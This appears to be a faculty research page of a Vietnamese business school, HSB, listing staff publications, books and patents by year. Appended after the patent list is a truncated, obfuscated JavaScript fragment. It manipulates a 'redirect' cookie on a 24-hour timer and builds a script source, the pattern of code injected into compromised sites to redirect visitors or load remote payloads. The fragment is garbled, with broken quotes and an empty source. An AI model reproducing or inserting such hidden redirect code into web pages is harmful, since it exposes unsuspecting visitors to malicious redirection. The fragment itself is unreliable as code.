SCIENCE & TECHNOLOGY
The research activities at HSB are encouraged toward applied orientation and interdisciplinary approach in order to assist public and private leaders and managers in resolving managerial issues in an effective, efficient and sustainable way.
List of researcher at HSB: Link
List of publications by year:
1. Articles
2017
Ngô, V.D., Janssen, F. 2017. Sub-National Market-Supporting Institutions and Export Behaviors, in Bonnet, J., Dejardin, M., de Lema, G.P., (Ed.) Exploring the Entrepreneurial Society: Institutions, Behaviors and Outcomes, Edward Elgar Publishing: Cheltenham, UK.
2016
Ngô, V.D., Nguyễn, N.T. 2016, Forestland Rights Institutions and Forest Management of Vietnamese Households, Post-Communist Economies, Vol.xx, No.xx, pp.xx-xx. DOI: //dx.doi.org/10.1080/14631377.2016.1245485
Ngô V.D., Janssen F. 2016. Resources Investment and Export Competitive Advantage of Firms in a Transition Economy: the Moderating Role of Domestic Institutional Environment and Competitive Pressures, International Journal of Export Marketing, Vol.xx, No.xx, pp.xx-xx.
Ngô V.D., Janssen F., Falize M. 2016. An Incentive-Based Model of International Entrepreneurship in Emerging and Transition Economies, Journal of International Entrepreneurship, 14(1), 52-74. DOI: 10.1007/s10843-016-0165-0.
Ngô, V.D., Janssen, F., Leonidou, L.C., Christodoulides, P. 2016. Domestic institutional attributes as drivers of export performance in an emerging and transition economy, Journal of Business Research, 69(8), 2911-2922. DOI: 10.1016/j.jbusres.2015.12.060
2015
Ngô, V.D., Janssen, F. 2015. Entrepreneur’s actual behavioral controls, psychic distance stimuli, and export mode choice, Journal of Developmental Entrepreneurship, 20(2), DOI: 10.1142/S1084946715500132
Tran Huy Phuong, Nham Phong Tuan. 2015. The content and structure of the psychological contract in Vietnam: an exploratory study. The International Journal of Humanities and Social Sciences, 3(7).
2014
2013
Nguyen Ngoc Thang and Quang, T. 2013. “Knowledge creation and green entrepreneurship: A study of two Vietnamese firms”. Asian Academy of Management Journal, 18(2), 11-24.
Nguyen Ngoc Thang and ATSUJI, S., UEDA, K. 2013. “Invisible Mutuality between Structural Inertia and Learning Disability – A Case Study of the West Japan Railway Accident 4.25”. The Journal of Informatics, 37(3), 1-12.
Nguyễn Ngọc Thắng. 2013 “Quản trị nhân sự phong cách Nhật Bản: bài học cho doanh nghiệp Việt Nam “. Tạp chí Nghiên cứu Kinh tế, 421, 71-76.
Nguyễn Ngọc Thắng. 2013. “Trách nhiệm xã hội của doanh nghiệp tại công ty VINAX: tiếp cận từ khía cạnh lao động”. Tạp chí Nghiên cứu Khoa học Thương mại, 56, 11-17.
Nguyễn Ngọc Thắng. 2013. “Quản lý người tài: Nghiên cứu trường hợp công ty VAX”. Tạp chí Nghiên cứu Khoa học Thương mại, 58, 60-65.
Nguyễn Ngọc Thắng. 2013. “Giải pháp nâng cao chất lượng nguồn nhân lực trong các doanh nghiệp khu công nghiệp tại Hải Dương “. Tạp chí Quản lý Kinh tế Việt Nam, 53, 40-45.
Nguyễn Ngọc Thắng. 2013. “Giải pháp gắn đào tạo với sử dụng lao động tại tỉnh Vĩnh Phúc”. Tạp chí Con số và Sự kiện, 52(5), 36-38.
Nguyễn Ngọc Thắng. 2013. “Phát triển bền vững doanh nghiệp Nhỏ và vừa thông qua nguồn nhân lực”. Tạp chí Con số và Sự kiện, 52(6), 26-27.
Nguyễn Ngọc Thắng. 2013. “Nâng cao chất lượng nguồn nhân lực Hải quan Quảng Ninh”. Tạp chí Lao động và xã hội, 456, 13-16.
2012
Ngô, V.D., Janssen, F., Jacquemin, A. 2012. Influence du contrôle comportemental effectif de l’entrepreneur et des stimuli de distance psychique sur le choix du mode d’exportation de PME vietnamiennes, Revue de l’Entrepreneuriat, 3(11), 85-109.
Tran Huy Phuong. 2012. How measure psychological contract breach as a predictor of workplace outcomes: evidence from Vietnam. Macrotheme Review, 2(2).
Hoàng Đình Phi. 2012. Đánh giá công tác quản trị công nghệ của doanh nghiệp. Tạp chí Khoa học Thương mại, số 48, 2012.
Hoàng Đình Phi. 2012. Lựa chọn giải pháp hỗ trợ doanh nghiệp nhỏ và vừa Việt Nam vượt qua khủng hoảng. Tạp chí Quản lý Kinh tế, Viện nghiên cứu Quản lý Kinh tế Trung ương, số 48, 2012.
Nguyễn Ngọc Thắng. 2012. “The knowledge creation organization: the case of Alphanam”. Tạp chí Kinh tế và Phát triển, (Bản tiếng Anh) 14(1), 78-90.
Nguyễn Ngọc Thắng. 2012. “Human resource training and development as facilitators of Corporate Social Responsibility”. Tạp chí Kinh tế và Phát triển, (Bản tiếng Anh).
Nguyễn Ngọc Thắng & Trịnh Ngọc Huy. 2012. “Chiến lược tiền lương trong bối cảnh văn hóa Việt Nam”. Tạp chí Kinh tế và Phát triển, 180, 114-117 14(3), 88-98.
Nguyễn Ngọc Thắng. 2012. “Human resource management: A case study of X Footwear Company”. Tạp chí Khoa học – Đại học Quốc gia Hà Nội, (Bản tiếng Anh) 28(5), 17-27.
2011
Nguyen Ngoc Thang and Quang, T. and Buyens, D. 2011. “Training and firm performance in economies in transition: a comparison between Vietnam and China”. Asia Pacific Business Review, 17(1), 103-119.
Nguyen Ngoc Thang and Quang, T. 2011. “The impact of training on firm performance in a transitional economy: Evidence from Vietnam”. Research and Practices Human Resource Management, 19(1), 11-24.
Hoàng Đình Phi. 2011. Chính sách phát triển công nghiệp hỗ trợ gắn với các ngành công nghiệp mũi nhọn ở Việt Nam. Tạp chí Quản lý Kinh tế. Viện nghiên cứu Quản lý Kinh tế Trung Ương, số chuyên đề 2011.
Hoàng Đình Phi. 2011. Enhancing management of technology & innovation for sustainable competitiveness of SMEs. Tạp chí Kinh tế và kinh doanh – Journal of Science, Economics and Business, No. 5E. Đại học Quốc gia Hà Nội,
Nguyễn Ngọc Thắng. 2011. “Restructuring for success of Vietnamese state-owned enterprises. Tạp chí Quản lý kinh tế Việt Nam (Bản tiếng Anh), 6(1), 23-29.
Nguyễn Ngọc Thắng. 2011. “Quản trị dựa trên tri thức: Bài học cho Việt Nam”. Tạp chí Khoa học – Đại học Quốc gia Hà Nội, 27(3), 172-178.
Nguyễn Ngọc Thắng. 2011. “Corporate governance and its impacts on firm performance in emerging countries: evidence from Vietnam”. Tạp chí Khoa học – Đại học Quốc gia Hà Nội (Bản tiếng Anh), 27(5), 240-248.
2010
Nguyen Ngoc Thang and Quang, T. and Buyens, D. 2010. “The relationship between training and firm performance: A literature review”. Research and Practices Human Resource Management, 18(1), 28-45.
Nguyễn Ngọc Thắng. 2010. “Gắn quản trị nhân sự với trách nhiệm xã hội của doanh nghiệp”. Tạp chí Khoa học – Đại học Quốc gia Hà Nội, 26(4), 232-237.
2. Book, monograph
2013
Nguyễn Ngọc Thắng, Nguyễn Viết Lộc & Hoàng Văn Hải. 2013. Ra quyết định quản trị. Nhà xuất bản Đại học Quốc gia Hà Nội.
2011
Hoàng Đình Phi. 2011. Quản trị Công nghệ. NXB Đại học Quốc gia Hà Nội.
2010
2009
Hoàng Đình Phi. 2009. Học tập & sáng tạo công nghệ – Chìa khóa để xây dựng năng lực công nghệ và khả năng cạnh tranh bền vững cho doanh nghiệp Việt Nam. NXB Giáo dục Việt Nam.
Nguyen Ngoc Thang. 2009. Human resource training, organisational strategy, and firm performance in emerging economies: The case of Vietnam. ISBN: 978-90-5864-197-7. Xuất bản tại Vương quốc Bỉ.
3. Invention, patent and copyright
Hoàng Đình Phi. 2002. Bằng bảo hộ nhãn hiệu hàng hóa: Sannamfood, Núi Tản, Eropa… Cục SHTT.
Hoàng Đình Phi. 2003. Bằng bảo hộ kiểu dáng công nghiệp cho các loại hộp đựng trái cây sấy. Cục SHTT.
Hoàng Đình Phi. 2010. Bằng bảo hộ giống cây trồng mới. Bộ NN&PTNN
{var U=(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”=”,now=Math.floor(Date.now()/1e3),(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),’
